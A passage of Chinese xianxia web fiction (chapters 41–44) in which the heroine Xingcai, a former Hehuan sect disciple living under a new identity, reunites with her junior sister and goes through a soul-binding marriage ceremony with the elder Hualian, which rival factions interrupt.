山中花鹿自在啃食，听到人声也不怕。对上荇菜的眼神后，花鹿崴脚跪下，待荇菜走开才跳脚逃走。
仙禽灵鹤隐在山泉边啼鸣梳洗，闲情自在。荇菜过来后，它们收敛羽翼，低垂长颈，弯下细长的腿。
荇菜走完整座矮峰，发现一个情况：凤凰血让她在灵兽里变得尊贵无比。若是实力足够强悍，成为天羽宗的宗主也不是不可以。如此，她就能掌握整个羽民国。何况，天羽宗的宗主凤武现在是她的仆人。
“有趣。”荇菜握拳，生出一丝轻松感。终于不再是初来乍到谨小慎微的女配。
花涟比小龙女还能守得住孤单。
或许说，他享受这种孤独宁静的山野生活。
荇菜倒在花树下，仰面欣赏枝繁叶茂的玫红花色，喃道：“有什么办法可以一次性引出黄某人的分身，将他们一网打尽呢？黄某人到底要干什么，天下、飞升？”
“主角是好人，与主角作对是坏人。若我想要找朱琴天、狐羽、黎耀报仇，得成为坏人，对上天龙道。
不行，反派大概率会死。我必须有两个身份：反派、好人。
好人可以逼好人成为坏人。三生道可以是坏人的最佳盟友，得找出道生花，与他再次合作。而花涟的夫人是最好的好人身份，亦正亦邪，做些什么都说得过去。玩得就是个无间道！”
“前辈，我是喜佛峰的弟子水玲珑，受师父水幻之命前来送贺礼。请问您是花涟长老的新娘吗？”水玲珑远远地看到点飘红的衣角，与顶上的山花烂漫形成美好的景画。
荇菜听到熟悉的名字，飞奔过去抱住来人，欢喜道：“水玲珑，是你。”
水玲珑提着贺礼，惊讶地瞪大眼：“前前辈，你……认识我？哇……”好美的女子，吹弹可破的肌肤，比冰玉柔软微凉的手感，男人的降火利器啊。
“说什么傻话呢。”荇菜给她一个脑嘣，扯回水玲珑的遐思，“出门在外，有事报姐的名字。”
“……金莲师姐？”水玲珑震惊道，“不是，你不是已经……死在阳梧山？啊……”她捂住再次被弹的脑门，小心翼翼道，“你真是师姐金莲？”
“当然。对个暗号让你确信……你可有睡到崔洧？”荇菜透露水玲珑离开前的目标，静静地等她反应过来。
水玲珑的面色瞬间羞红，转念道：虽然师姐的样貌有所改变，肌肤手感和体温也有变化，但确实是师姐的直爽气。对了，听师父说花涟长老会炼制一种神奇的鸳鸯丹，可以改换人的形貌。兴许师姐服用鸳鸯丹躲避那些敌人。
她想明白后回拥荇菜，又蹦又跳：“太好了，师姐。我去阳梧山找过你，因为崔洧的黑甲军抓你，我还和他闹崩了。”
“怎么会这样？你是不是又犯傻，我叫你走你不走，我人在千里之外，你还因为我和他明着闹？”
“没有。我没你说得这么伟大。”水玲珑抿嘴又合掌庆幸，“感谢佛祖让师姐还活着。”
“我是说你笨。”荇菜又戳她脑门，这次又轻又软。
两人相视而笑，手牵着手走到花树下的石桌边聊。
水玲珑羞赧道：“事情是这样。鬼泣的人押解青山城主进京，崔洧不仅没有杀青山城主还听信他的话，对我起疑心。但他是真能忍真能装。
我的鬼泣身份是在一个月后暴露。
崔洧不仅没杀我，甚至想继续用我。
你没看到他当时恩威并施的模样，若我不是听你说过‘他明知鬼泣不是崔赜还继续用人’的阴险劲，我也会上当。
他明里安抚我，暗地里派黑甲卫顺藤摸瓜去找你，追你到羽民国。
后来，我三令五申告诉他，不准追杀你。他说要找回鬼泣的神风驹。
我猜肯定不止因为神风驹，跨国境追捕，定是为更大的利益。我怕师姐你抵挡不住，就找淑妃合作。
这一周旋，我和他拉拉扯扯数年。最后决战时，他透假消息给我，害得淑妃失宠。我不仅没扳倒崔洧，让崔窅被皇帝猜忌而圈禁。功亏一篑。”
“崔洧能一直坐在太子的位置上，在淑妃受宠有子的情况下继续活跃，确实不是一般人。你输给他不丢人。”荇菜安慰道，能让崔洧动用黑甲军，不仅为追查鬼泣的死因，更为蜃珠，只有蜃珠可以让崔洧大动干戈。
水玲珑没继续追问荇菜在鲛童身上得到什么稀世珍宝。荇菜也撇过这个话题：“筑基了？”
“啊。为保命，我给他服用合欢丹，睡了他一次，吸了一些。我离开前又让他中招，大吸一回，得逞后我就跑了。”
荇菜看她得意又聪明的小摸样，打趣道：“你不怕他追上门找你讨回来？”
“他是太子哎，现在是山泽国主，他敢找上门，脸都不要了。他敢告诉十国八宗的人：我崔洧被合欢女子睡
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了，吸走八成灵力？哈哈哈哈……”水玲珑说到这捧腹大笑，却有眼泪滑下来。
荇菜心生怜惜，轻柔地抱住她，让她靠在肩头。
肩头湿漉，怀中的身躯颤动，荇菜无言地安慰她。
合欢女子走上这条路，拥有的情爱注定是露水情缘，长久不了。然而，身、情相连，一旦失陷一样，女子就失去原来的烂漫。合欢女子走上此道，渡不过此劫，只会更加伤情失意。
水玲珑缓过劲，抹去眼泪，又展颜笑：“师姐，你呢？你是怎么活下来成就元婴？天，你不会把凤尊睡了吧？
你知道吗，山下都是你的传说……”
荇菜听她叽里咕噜说一大堆十年内发生的事，好奇道：“九阳剑尊与三生道一战后真得再没出现？”
“是啊。青虞宗的人都找疯了，有传言说他和敌人掉进时空裂缝，下落不明。若是这样，他们回天生大陆就要看缘了。
阳梧山的大火烧了一个月，青鸾族的黎耀成为新的羽民国之主。他上天龙道的浮空城给道祖天尊见礼，定下皇室名分。”
水玲珑感慨，“传言都是合欢妖女引起得这一切。啧，师姐，你真是我辈楷模。我一度以为师姐死在阳梧山的大火，没想到师姐不仅没死，修为还入元婴，真是羡慕死我。”
“少羡慕。我现在更名叫荇菜，你叫我……”
“长老夫人。”水玲珑笑着接话。
荇菜轻拍她：“叫什么夫人，叫我行姐。”
“嘻嘻……行姐，”水玲珑乐呵叫道，“行姐，怎么嫁给花涟长老啊？听说他克妻，娶的亲事就没成过，还有……他不是你师父吗？”
“不算师父，这破事三言两语说不清。”荇菜嫁给花涟自有打算。
“你会结契吗？”水玲珑好奇又向往地说，“修为高到元婴的花涟长老和行姐结侣，你们在成婚典礼上会结契吗？”
所谓的结契是夫妻双方成为道侣，以魂定契，立生死相随的誓言。
花涟是道祖天尊的分身，无法被夺魂精魄析出灵魂，不存在结命契的说法。但是，他本人不知道这事。
荇菜的眸光跃动，敛去真正的成婚意图。分身不知道自己是分身。若花涟盲目地同意结契，婚礼的庆典上就一定不能成功结下生死魂契。
“水玲珑，你帮我个忙。”荇菜与她耳语一番，拍在水玲珑的肩头，“拜托你。”
“不是，行姐。这事搞不好，你又要被十方山追、青虞宗、三生道都不会放过你。若天羽宗的人知道你还活着，当初追随凤尊得那些人一定会找上门。你怎么过安生日子啊。”
“安生过日子？”荇菜嗤笑，“我怎么可能安生过日子。有些仇是一定要报的。即使我不提，那些人会放过我？”
“花涟长老。”水玲珑瞥见花涟的身影，赶紧起身叫人，又朝荇菜行礼，“行姐……夫人，这是我们喜佛峰送的贺礼，祝两位千年好合，告辞。”
荇菜接过贺礼，望向逃下山的水玲珑，斜瞥一旁的花涟。两手空空，最终还是没把鱼抓回来。
她拍拍衣袖，不冷不热道：“干嘛去了？”
“捉鱼。”花涟轻声道，“不怕。”
“什么？”荇菜没懂这两字的含义，绕他走一圈，歪头道：“鱼呢？”
“放了。”花涟说完又道，“不怕……你，害我，不怕、仇人。”
42. 第 42 章
荇菜听到这话，错愕地扬眉，背对他做个鬼脸。她提起水玲珑的礼物扔进花涟的怀中，抱胸笑道：“打开它。”
花涟小心地瞥她，用骨节分明的长指拆开礼盒，取出一只装有液体的五彩琉璃瓶。
荇菜凑近打量内中粉色的液体，抬眸时与花涟清澈发亮的目光相撞，下意识垂头，好奇道：“这是什么，不会是合欢药一类的催啥药吧？”
她对合欢宗人送的礼物不抱希望，即便这是水玲珑送的礼。
花涟也不知道琉璃瓶里装得是什么，心里的预感和荇菜一样，离不开情爱用品系列。
他试探道：“打开？”最好不要。
荇菜往后退两步，站在上风口，颔首道：“你打开闻一闻。”
花涟有些为难，荇菜的举动分明在为难人，转而想到没把鱼带回来，打开瓶口轻嗅：香味清新，如雨后山林的空山新雨味。
这是水幻仙子的独门合欢油：巫山云雨露。用途？不言自明。
荇菜观察他的神色，花涟小心地闻过后就恢复正常，不由生出几分疑窦。
花涟塞回瓶塞，轻松口气，感觉手脚都自在。
他淡定道：“雨露，润肤。”
荇菜一脸果然，又含笑道：“具体……干嘛用？”
花涟思考过往看过的书，先把巫山云雨露递回去：“肌肤，润滑，保湿。”
荇菜：……脑子不笨，知道拐着弯回答尴尬的问题。
“你留着用吧。”
花涟看她离去，忍不住咧开唇：她没提吃鱼，真好。
又看向手上的花露，赶紧收进袖里乾坤。
修真历天龙一千三百二十年，合欢宗为花涟长老举办结侣大典。
宗主清欢在大殿上长吁短叹：“本以为是个凡俗的成亲仪式，见家长、拜天地，竟变成以命共契的结契大典。咱们合欢宗最后的清誉名牌没了。”
贺喜觉得清欢宗主有些好笑：“宗主，咱们宗本就没什么清誉，谁峰上的女人少了，还是喜佛山上水幻的侍夫不够数？”
水玲珑悄声道：“贺喜师伯，别这么说我师父，都是男子自愿贴她。师伯，我听说花涟长老一直有在求亲，就是山下的姑娘都不愿意嫁他。传闻他克妻，这是真事吗？”
贺喜睨她：“你也别胡说。花涟是顾家的性子，怕见外人，才惹来诸多污名。多学学你的师父，别在一棵树上吊死。”
水玲珑哑口，与崔洧的事被全山门八卦。或许这些人都在等崔洧上门，好看热闹。然而，崔洧会来吗？
“时辰到。”贺喜唱礼，“迎新人。”
荇菜头戴凤冠，身披霞衣，衬得人比花娇。
她在头冠的珠帘下看向大殿里寥寥无几的人头，停在殿门口不动，扫向里面缩头缩脑的水玲珑，再及摸鼻子的贺喜，朝一旁强自镇定的花涟高声道：“不是答应我，请八宗上层观礼，怎么只有这些人？”
清欢宗主轻咳了声，示意贺喜解释。
贺喜尬笑道：“弟媳妇，你知道花涟的情况。若观礼的人多了，他能直接当堂昏过去。届时行不了大礼，尴尬得不还是你嘛，是吧？”
“是吗？”荇菜的目光落在水玲珑处，被避开对视。
她握住花涟放在身前的手腕，柔声道，“花涟，你答应过我婚礼要办得热热闹闹。不然，这不成骗婚吗？”
花涟听到她喊名字眼睛都亮三分，心尖微颤。
一身大红新郎服衬得他玉树临风，若无这怕生的毛病该是极其潇洒的修士。他看向四周，确实不过寥寥四人，被荇菜握住的地方肌肉绷鼓，嚅几次唇才说出话：“喜师兄，人呢？”
“你……”贺喜甩袖子、翻白眼，破罐子破摔道，“兄弟，我们是什么门派，合欢宗啊。一个元婴结侣罢了，哪来什么八宗客人。我们在八宗里吊车尾，有脸去请，人家也没脸来观礼啊。”
水玲珑的师父水幻出现在堂上，一身粉衫让大殿多抹亮色。
她扫眼荇菜珠帘下的容貌，有种被比过去的不爽感，又看向俊颜发颤的花涟，暗道：给他个面子。
水幻含笑道：“本座猜到会闹妖，果然不出所料。贺喜，自家人脸上贴什么金。我们厚着脸皮跪请人家，人家也不愿屈尊踏足这藏污纳垢的山界。”
清欢宗主：“水幻，自家人不嫌弃自家人。”说什么大实话呢。
“宗主，报：十方寺主持圆空大师、雷火寺主持龙弼大师，携弟子惊雷、火云子前来道贺，同行还有位凡人和羽族。”
“报……宗主：天羽宗朱雀护法朱红颖前来道贺。”
“报：青虞宗掌门弟子禾诗逸携门下弟子前来道贺。”
“报：羽民国国主黎耀送上明珠十斛，祝莲花峰花涟长老夫妻和睦。只是……”
清欢一脸好奇：“只是什么？”
“只是人没上山就被天羽宗朱雀护法打出去，礼物留下了。”
贺喜解释说：“自从凤尊失踪，青鸾族上位，天羽宗就和羽民国皇室划清界限。两方相遇发生这事，不足为奇。”
水幻扬袖：“我说，重点是这个事吗？难道不是他们怎么知道今日花涟大婚，又跑来贺喜啊？你……不会是你发帖吧？”
“发了。”贺喜理所当然道，“好兄弟成亲，有此要求当然要发啊。”
清欢宗主有些绝望：“你发了帖，却把婚事办成这样……简，酒宴呢？”
贺喜：“这……咱们宗里的大喜事，我吩咐膳堂备下灵果美酒，待礼成后大家一起去膳堂享用。”
清欢宗主：……
“报：山泽国主崔洧派人送深海鲛纱十匹，前来道贺，正在山门外候见。”
水玲珑跳起来：“师父。”
水幻拂袖：“稍安勿躁。”
“报：三生道左法尊道璇玑前来祝贺，打打打……进来了。”
“报……天龙道法尊羽化生尊者前来祝贺，拦拦下了。”
清欢宗主一口气忽上忽下，被这些报信的弟子喊得站也不是，坐也不是……听到道璇玑已经肌肉抽搐，再有羽化生直接腿软无力。
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他无力道：“你给三生道和天龙道也发帖啦？”
贺喜：“好像……没有吧？”
“到底有没有？”清欢宗主咬牙切齿，面对等待的新人、前来报信的弟子，又试图挽回一宗颜面，努力深呼吸。
小弟子也报麻，等宗主示下，却发现宗主软在椅子上，几次张口都没能说出指示。
贺喜长老长吸口气，朝清欢、水幻诸人一一看去：“宗主，这时候……大家就说实话吧。天龙道出动法尊……你们……最近犯事了？”
水幻斜睨他，警惕道：“怎么不说你自己。你们是不是睡了不该睡的人？”
荇菜感觉花涟的手已经绷成钢铁，轻笑道：“宗主，外面都是来贺我和花涟成亲，怎么不请进门？”
“对对对……先过关再说，快请。”清欢宗主扶椅子起身，摸把胡子、整理仪表。
然而，大家都看着他没动作。
他诧异地大喊，“你们愣着做什么，快去请他们进大殿啊。怎么能让天龙法尊等在门外？”
贺喜尴尬笑着：“别得好说，天龙道法尊羽化生，道祖天尊的亲徒……宗主，你得亲自迎接才显尊敬啊。”
清欢宗主哦哦哦三声走下台，脚一软，差点就跪下。
水幻在旁边扶住他，低声咒骂：“关键时刻，别丢人。”
清欢宗主紧紧地抓住水幻的手：“师妹，我想起峰里还有事，我……先走了。”
水幻看向空空如也的手心，转向同样震惊的贺喜。
这种事不多见，连贺喜也没想到宗主会跑。
贺喜左顾右盼也想走，奈何花涟的眼神楚楚又期待地望来，指望自己主持婚礼。
水玲珑早就想走，走到水幻的旁边：“师父，我们炉子里还烧着水。”
“啊，对。徒儿，你得走。”水幻拽上水玲珑大摇大摆来个土遁。
荇菜头一次看到合欢宗的生态，震惊掉下巴。她望向一旁蹙眉的花涟，露出淡淡的笑意。
*
殿宇外，羽化生手持一柄羽扇，含笑望向身穿黑色战甲、背红色长戟的道璇玑：“璇玑姑娘，你再不进去，人就跑了，剩一个空空的大殿，找谁要人啊？”
道璇玑审视后方一群秃驴、剑修，冷笑道：“若不是你拦本座，本座早就进去。有人敢放出风声说合欢妖女在合欢宗，本座就不怕她跑。既然你先兵后礼，本座就先踏此门。”
羽化生轻笑，摇十二骨白色羽扇向前一拦，口上却说：“宗主都跑了，没人请我们进门，这么闯进人家的礼堂于礼不合啊。”
“狗屁规矩，三生道只认强者。对于你，本座必须走在你前面。”道璇玑说完，侧身饶过他，化光直冲殿门。
羽化生背手执扇，一步横去，与她并排，甚至超过道璇玑半个身位。
道璇玑岂肯让他领先，身后长戟比她更先入门，直直地戳在大殿的地砖上，花涟的面前。
荇菜看向挡在身前的花涟，他的前方是燃烧红芒枪气的长戟，讶异又好笑：“你不怕见生人了？”
43. 第 43 章
花涟立在荇菜的前方，挡住羽化生和道璇玑的视线。
耳尖发红，耳边的血管清晰可见，一股股细小的血流在奔腾发颤，显示主人的紧张。
但是，他的背影确实高大挺拔，给人安全感。
荇菜想起那句“不怕你害我，不怕仇人”，望着他笔挺的背影生出丝感动，而接下来的事注定会让他失望吧。
两尊大神带着各自兴致勃勃、审视观察的眼神入殿，后面依序进一大帮人，无声却挤满整座殿宇。
这些人里最特别得是一身仕女裙衫、挽上发髻的蕙永，一名簪花戴钗的襦裙男子。
在羽弃城时，荇菜见过男子作已婚女子的打扮。黑羽族男子选择嫁人，会甘愿做女子装扮取悦妻子。
这位襦裙男子极有可能是黑羽的养父。
羽化生像一名白衣儒雅的军师，摇羽扇站在堂上，声音不高却传遍整座合欢宗地界：“清欢啊，你怕是不想要合欢宗入八宗之列，往后天龙道给的好处……”
清欢宗主从殿内的半空落下，额间的合欢花钿给他添丝妖魅，正式的白色仙衣装点出修真界仙风道骨的气质。
他立在高阶上，雅笑中含着威严，绝对有一宗之主的派头，挺直脊柱，温声道：“法尊羽先生大驾光临鄙宗，真是让我宗蓬荜生辉。”
羽化生立在原处，摇扇而笑，眼神里了然中带三分戏谑：清欢找个理由跑路是为换这一身行头啊，有被重视到。
清欢宗主也真是个处变不惊的头领，与先前离殿的模样判若俩人。
他硬是没被羽化生的气场影响，诚恳道：“诸位，来者是客，清欢有失远迎，失敬失敬。今日诸位来此，合欢宗定以礼以诚相待。”
众人的表情不一，朝上拱手。他们见羽化生摇扇立在道璇玑旁，一时也没更多的话。道璇玑一人就压住全场，不让人随意动弹。羽化生看似没什么，却随时准备接她的招。
水幻在清欢出现前也已归位，扬手御灵，殿内两侧凭空出现香檀木椅。
贺喜蹭到水幻旁边：“宗主真是让我大开眼界，来这么一出就是为了点朵花、换身衣服？你刚才演那么一出不会是去搬椅子吧？”
水幻眼都没动，传音道：“我还抽空去膳堂准备上等酒宴呢。大家都以为花涟结侣是自家事，他又怕见生人，谁整这些花里胡哨的玩意。这是真大典了，你要想好祝词。”
贺喜被当头一棒，如今有大客观礼，确实要显得更官方些。
【祝词？难倒我了呀……】
水幻：“诸位，来者是客，欢迎贵客前来参加——我宗花涟长老和他命定妻子的结契大典，请入座观礼。”
贺喜紧跟道：“对对，来者是客。今日我宗花涟长老喜结良缘，欢迎诸位。请贵客们入座，典礼马上开始。”
三人三句来者是客，硬是把气氛拉到不得不坐的程度。
道璇玑冷冷地立在花涟的面前，拔出血樱戟，赶在羽化生前坐在左上第一位。
这让不少人变了脸色。三生道对于天生大陆来讲如同毒瘤般的存在，被视为邪道。以邪压正，确实让人不爽。
羽化生轻摇羽扇：“男子礼让女子，天经地义。璇玑姑娘，坐好，好坐。”
道璇玑的雪肌上飞过冰霜，冷哼一声，直接击碎羽化生走向的椅子：“羽先生，坐稳。”
羽化生哎了声，自掏储物袋，取出把太师椅，坐稳后道：“坐好了。诸位，请吧。”在场中，唯独他的椅子不仅显眼，还高出众人一些，彰显天龙道与众不同的地位。
道璇玑瞬间明白羽化生那四字的含义，气得磨碎银牙，也让她学会静观其变。
火云子朝惊雷师兄暗暗地摇头，示意没找到熟悉的佛息。两人站在圆空、龙弼两位主持的身后，静待观礼。
禾诗逸审视荇菜，感知翻她的修为，应该不是故人。
她朝花涟长老拱手道喜，坐在龙弼大师的下手，随后一帮人陆续就坐或站在椅后。
道璇玑一个人独坐一排，不仅威风凛凛还目下无尘，似非常自得。
荇菜刚要动作，被花涟抓在手腕，对上花涟冷静沉着的目光，诧异道：“你……”
“喜师兄，开始。”
“哦哦哦……”贺喜惊讶此时的花涟完全不像个怕见生人的模样。
在清欢宗主的示意、众多审视的目光下，高唱临时想出来的祝词：
“兹有天命红线，缘聚而婚，订佳偶，结命契。命无恙，永不绝。阴阳相合，万古不移。天兮帝也，瑳兮邦也，共契长生。
新人请契。”
清欢宗主作为证婚人，起身请天地命契。
羽化生扬扇道：“慢。”
所有人看着他。
羽化生慢条斯理上前，站在新人面前，目光微垂，没有直视荇菜。他朝花涟含笑说：“花涟长老，这道命契在下来帮你请，可否？”
荇菜的眸色瞬间转厉，道祖天尊的分身不知自己是分身，但是天龙道未必没人知道此事。羽化生是道祖天尊的徒弟，极有可能是知情者，或在命契上做手脚。
花涟往后退半步，避开羽化生的靠近，侧身面对荇菜，这让他有很大的安全感和勇气。
贺喜在清欢宗主的示意下打圆场：“当然好啊。这可是求之不得的大好事。多谢法尊。”
“不要。”
众人纷纷看向出声的新娘。
荇菜勾着唇角，透过冠前明珰看向羽化生：“我夫妻二人的天地契约，怎么能假手他人。花涟，你亲自来请。”
和尚们事不关己，坐如古松。
清欢宗主、贺喜等人一副“这弟媳妇真不懂事”的为难神色。
禾诗逸暗暗举个拇指，生出丝暗爽。无论是道璇玑的目下无尘、还是羽化生的高人一等，都让她有些不爽。
花涟只看着荇菜，只有看她才不会露怯后退。
“好。”他无视众人的眼神，想起观云婴给的天地法印符，巧妙地运用后，旋法引渡天地命契。
天感人愿，自生法印从天而降。有人在高空轻笑了声，于天印上做了丝手脚。
地成人愿，结成法印从新人脚下盘旋而起，与下落的天印相合，形成独一无二的天地命契。
银白的契约光辉在花涟的灵力下照耀彼此的红衣，像是镀一层银华红芒，满堂生辉。
羽化生轻呵了
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下，反身坐回原位。
道璇玑冷笑嘲讽：“自作多情。”
清欢宗主暗搓搓瞪贺喜：结什么命契，搞事情，被羽法尊记小本本。
荇菜环顾神情不一的众人，眼前是流转不休的银辉命契，笑说：“你确定这命契有用？我的意思是你真得会注入魂丝？”
一言既出，震惊四座。
命契就是同心魂契，在请出的天地法印上注入彼此魂丝，定结更复杂得被天地认可的生死契约，效用是同生共死、同心相连。若不在天地法印上注入魂丝，又怎么能叫命契？
羽化生直接捏紧羽扇，挺了挺身。
花涟依旧一瞬不瞬地注视她：“真心，赤诚，有用。”他把两人间的命契往前轻送，又断续道，“反、悔，可以。”
此时此刻真到结契时，荇菜有了种搬起石头砸自己脚的感觉。
难道花涟不是道祖天尊黄椒的分身？不然，怎么会有魂丝结契？
她看向一言不发的羽化生，刚要开口，又有人站出来。
“不敢结契？怕灵魂波动被在场人认出？”道璇玑杵长戟立着，蓄势待发。一张英姿飒爽的脸面浮现阴恻恻的笑容，“或许，需要人帮你？”
羽化生扬扇挡在道璇玑的身前，面向荇菜时行点头礼：“姑娘，凡人的婚姻大事都不是儿戏，何况寿数漫长的修仙人。姑娘想清楚，这契约立下就是一生，不能反悔，别糊里糊涂就嫁了。”
荇菜看不出来他是要阻止还是促成，但是，命契添魂，分身肯定做不到此事。
命契消散，结契不成。荇菜可以当堂向大家宣布，花涟不过是道祖天尊的分身之一，此外还有诸多人：青衍镇项檀、雷火寺惊蛰、黑羽族黑羽、甚至是青虞宗九阳剑尊……便是三生道的道生花都有可能是黄椒分身……
她转向花涟，肃张脸：“你不怕我害你？”
花涟轻轻地摇头。
禾诗逸忍不了结个亲还婆妈，起身道：“前辈，命契一结，无从更改，非死不解，谁害谁还不一定。”
“是啊。道侣命契只有死可以解。”荇菜能想出这个法子就是看过莲花峰书房里的书。
她起法指，引《还阳功》强取出魂丝。
“啊……”没人说取魂丝这般痛，像是身体被硬生生割去一块，痛得她身躯发颤、额头冒冷汗。
花涟近前，引渡自身的灵力助她稳住，又卷袖生风，拂去她的汗水。
明珰珠帘晃动，露出荇菜隐在帘后的容貌，美得惊心动魄、沁人心脾，也确实不是熟人的脸孔，不少人已经忘记来时的猜测：今日结侣的新娘可能就是当年的合欢妖女。
荇菜的双眸越发明亮：没错，这种灵力的融合力，确实是分身。
在花涟忧心的眼神下，荇菜坚定地往命契里注入一缕魂丝。接着，她等待花涟的笑话，等待暴露道祖天尊私下造出各种分身戏弄世人的秘密。
花涟凝法旨，从额心神门里拉出一缕魂丝，在荇菜大张震惊的注目下，点入法印。
银辉法印瞬间绽放强大的光芒，穿透大殿房顶，直冲天际。
所有人都被这强大的命契惊呆。但是，结契还没有完成。
44. 第 44 章
花涟瞧入荇菜等待的双眸，变幻指上的法诀，命契合印，继而相生重叠，又分离成“天地人”三法印。
他把属于人印的两份契印引归彼此的识海。人印两分可以让结侣双方共享命数，最简单的体现是彼此储物法器不再私有。
天地命契分离，呈现上下正副法印，一承天而去，二入地刻章。天印在无形中牵绊两人的灵魂，地印在脚下形成极为复杂的金红色法纹，仿佛一条复杂的锁链牵连彼此的法体。
此时的荇菜才生出后悔，这看起来像是真结契，而且已经契成。
可是，怎么可能呢？
作为黄椒的分身，花涟不可能有灵魂，不过是一缕神识加灵力生成的法体。神识≠灵魂，神识仅是灵魂外化的精神力丝，花涟亲自解释过这些。他又怎么可能拿出灵魂生成人契。
【他……那个天地之强至尊的人究竟在分身上面动些什么手脚？】
“天地人”三法印归位后，天空中响起万古长钟的巨响，随后是百鸟争鸣相贺。
高空的虚影轻呵了声：“慎择无错，天降祥瑞共贺。”
虚影淡去，消失不见。
合欢宗内观礼的众人来不及辨认荇菜的真实身份，闪出殿外寻找异象。
荇菜震惊地站在花涟身边，对上他温柔的目光，一时六神无主。
同生共死的命契真已结成。
他……不是道祖天尊的分身？不可能。
大殿外传来合欢宗弟子们的惊叹。
满天皆是彩云霞光、千数红鸾携带百鸟高声啼鸣，上天为新人送来百鸟朝凤的祝福异象。
天羽宗的朱红颖第一个反应过来：“这是红尾鸾，世上竟然还有红鸾，有千数众？”她化为朱雀火身，向天飞去。
“你们看那些树。”蕙永惊讶地大喊。
遍地的古木生出连理双枝，枝上结出纯白莹润的并蒂双生花，以最美的盛放姿态庆贺新人。
羽化生见证这番天地奇景，手中把持的白色羽扇在他的心情改变下幻化为五彩雀翎的羽色，像是在与天地同喜。
他暗叹一声：你造化众生，天地造化你。这就是上天对你的态度。
众人返回大殿，哪里还有新人夫妇的影子，早趁着大家观看异象时跑了。
“……他竟真动凡心。”羽化生喃喃道句，再瞧其余众人，重启笑面，摇扇道，“本尊清楚诸位的来意，诸位寻找的人，天龙道会在三月内到诸位府上、宗门，亲自解释清楚。”
禾诗逸行礼：“天龙法尊，你真知道我师伯去哪里？”
“自然。”羽化生收起五彩雀翎扇，背手道，“天龙道宗旨：为天生大陆的安宁行走天下，护佑世人、诸国、宗派和平共处。
你想知道得关于九阳剑尊失踪一事，本尊会给青虞宗一个交待。”
禾诗逸知道天龙道一言九鼎：“弟子归宗后会禀明师父，静候法尊莅临。另外，结命契时新娘的灵魂波动有些熟悉。请问法尊，确实是她吗？”
“本尊没见过你口里的她。”羽化生看向殿口，“抱歉，诸位，道璇玑已经追去，本尊得去查看情况，以免好人被戮。”
禾诗逸见他消失，向不明所以的清欢尊者行礼，留下贺礼后带门下弟子离去。
惊雷已经叠声质问火云子好几次，不见火云子回答，又去问主持方丈。
十方寺主持圆空：“阿弥陀佛，惊蛰的事关乎天龙道，此事已不是合欢宗的事。我们就此下山，静待即可。”
雷火寺主持龙弼也道：“是啊。惊雷，稍安勿躁。我们同宗主告辞。惊云，你送蕙永夫人下山归家，务必好生送她回青衍镇上的青衍书局。”
一旁的惊云和尚颔首，携行过礼的蕙永离去。
水幻朝贺喜道：“这些人里还有一位观礼者早就不见。”
贺喜点头：“那位嫁了人的黑羽族的中年男子。他没有出殿看热闹，花涟和他夫人消失时也跟去。他的修为不超过妖丹境，不会有威胁。”
清欢宗主送走几位大佬，朝贺喜吩咐：“快去莲花峰看看啊，别真打起来。”
水幻送他白眼：“花涟怎么可能还留在莲花峰，定去他母亲的坟前祭告。”她走向崔洧的人，冷笑着，“你们还不走是想留下吃席？”
“我等奉国主之命给玲珑姑娘送礼。另外，玲珑姑娘还欠国主一个答案。”
“有意思。我家玲珑对他没意思，没有什么答案。你们回吧。不然，你们把命留在这吧。”水幻伸手，吓得这几人疾步后退、抢步出大殿。
刚才的热闹已经散去。
清欢宗主看向天上云霞，飞远的红鸾百鸟，盛开的连理并蒂花，淡淡道：“本就是喜事，留下吃席又怎么？
哎，我也想成个亲。”
贺喜白眼送他：“膳堂备下吃食。宗主，请吧。”
“吃个屁。搞不清楚天龙道和三生道来合欢宗的真正目的，就是吃龙肉……”清欢对上贺喜瞪大的两眼珠，硬生生憋回去，“滚吧滚吧，我去找人问问这究竟是怎么回事。”
这一问后合欢宗在八宗里的地位莫名其妙升个阶。
天龙道一人之下、世人之上的羽化生法尊参加元婴修士的结契大典，岂不是在说合欢宗要出能人？
此乃后话。
*
青山掩映中，荇菜一把拉住花涟的手腕，急切道：“怎么回事？我不可能感应错，你分明就是……”
花涟若有所思地看着她，似在等她把话说出来。
他见荇菜住口，心生柔意，自顾往前走去。
“花涟，你去哪？”
“那里。”花涟指向向阳山坡上的大树，树旁是一座不大的土堆坟茔，坟前矗立一块古旧的石碑，上书：先考花氏阿莲墓。旁有子女三人的名字，其中一个叫“鱼儿”。
“花涟，花鲢，小鱼。”花涟解释给荇菜听，在坟前跪下，磕首道，“母亲，鱼儿带媳妇来看您。”
自此后，他面对荇菜不再磕巴，契牵双魂同命，对于自己的妻子有什么好惧怕呢？
荇菜发现他不磕巴，颇有些怪异。她对上花涟仰面望来的目光，吞咽着紧张道：“我……”
在他清澈、期待、祈求的眼神下，荇菜咬牙弯腰，弓成90度，“花母好，我是他……道侣。”
花涟弯起唇角，起身握住荇菜的手：“母亲，小鱼和妻子会在山下住三月，以圆你的遗愿。”
荇菜瞥眼他的
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认真劲，感觉挺荒唐。结契圆心除魔，全是逢场作戏。
两人上过坟后步行下山，荇菜憋不住道：“花涟，三个月后我们能离婚吧？”
“离……婚？”
“解开契约，分开。毕竟，我们没什么感情基础，我答应你结亲是为帮你解开心结。”荇菜毫无羞涩道。
花涟定定地望着山道上的荇菜，人美如她像是与这片荒野山林格格不入。她应该待在莲花峰或者瑶池，而不是这等粗鄙地方。
“结契夫妻，生死契阔，非死无解。”
“这不是还有解法嘛。难道你舍得我去死？”
所以，你去死啰。
荇菜勾唇睨他，眸中微漾紫波。初见时的惑术没用，不代表结契后他还能自控。
“……合欢合欢，只要我吸走你的灵力就知道能不能解开契约。你愿意被我吸光灵力吗？”
吸光意味死去。
花涟刚要回答，察觉有外人的气息，立时挡在荇菜身前。
“好凶的对话，不愧是合欢宗人。花涟，你的道侣要吸你成道，还挡在她的面前。这是你第二次替她挡，本座不会再手下留情。”
道璇玑浮立半空，身侧长戟已经直指荇菜，“说吧，道生花去哪？答不好，到地府做一对死鸳鸯。”
荇菜看向挡在身前的花涟，确切来说这是第三次。合欢宗大殿上，面对所有人，他克制颤抖，依旧挡在前方。
她沉落面色：一个费尽心机要杀你的人被你好端端地护在身后，真是该笑你蠢还是傻。
“本座不是有耐心的人。”道璇玑眯眸沉色，冷肃道，“先杀你，一样可以审她。”
“若你杀死花涟长老，他们生死共契，他的夫人也活不了。”中年男子从树后走出，含笑说，“抱歉，我叫黑珠，跟你们一路。三生道的璇玑护法杀伐决断，若真下手，我就得不到我要的人的消息，不得不出来问一声。
夫人，我家黑羽还活着吗？”
道璇玑冷眸撇他，嗤说：“黑羽族外嫁的男人真是污人慧眼。”
